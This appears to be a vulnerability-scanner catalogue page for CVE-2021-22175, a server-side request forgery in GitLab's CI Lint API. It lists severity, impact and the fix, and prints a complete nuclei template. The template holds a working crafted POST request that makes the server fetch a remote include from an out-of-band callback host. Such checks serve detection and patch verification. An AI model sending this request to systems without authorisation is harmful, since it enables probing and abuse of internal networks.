GitLab CI Lint API - Server-Side Request Forgery

Exploited in the wild. Listed by CISA on 2026-02-18; known to be used by ransomware.

highseverity

8.6CVSS score

53.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

GitLab 10.5 and later contain a server-side request forgery caused by insecure handling of webhook requests, letting unauthenticated attackers exploit the server for arbitrary requests, exploit requires sending crafted webhook requests.

Impact

Unauthenticated attackers can perform arbitrary requests on internal network, potentially leading to information disclosure or internal network compromise.

Fix

Update to the latest version of GitLab where the vulnerability is fixed.

How to confirm it

Send: POST /api/v4/ci/lint
Positive when: contains_all(body, "Included file", "\"errors\":") and contains(content_type, "application/json") and contains(interactsh_protocol, "http") and status_code == 200

Run it with nuclei: nuclei -id CVE-2021-22175 -u <target>

The full check

id: CVE-2021-22175

info:
  name: GitLab CI Lint API - Server-Side Request Forgery
  author: 0x_Akoko
  severity: high
  description: |
    GitLab 10.5 and later contain a server-side request forgery caused by insecure handling of webhook requests, letting unauthenticated attackers exploit the server for arbitrary requests, exploit requires sending crafted webhook requests.
  impact: |
    Unauthenticated attackers can perform arbitrary requests on internal network, potentially leading to information disclosure or internal network compromise.
  remediation: |
    Update to the latest version of GitLab where the vulnerability is fixed.
  reference:
    - https://gitlab.com/gitlab-org/gitlab/-/issues/294178
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22175
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2021-22175
    epss-score: 0.53372
    epss-percentile: 0.98994
    cwe-id: CWE-918
    cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: gitlab
    product: gitlab
    shodan-query: http.title:"GitLab"
    fofa-query: app="GitLab"
  tags: cve,cve2021,gitlab,ssrf,oast,vkev,kev,vuln

http:
  - raw:
      - |
        POST /api/v4/ci/lint HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"include_merged_yaml":true,"content":"include:\n  remote: 'http://{{interactsh-url}}/gitlab.yml'"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Included file", "\"errors\":")'
          - 'contains(content_type, "application/json")'
          - 'contains(interactsh_protocol, "http")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from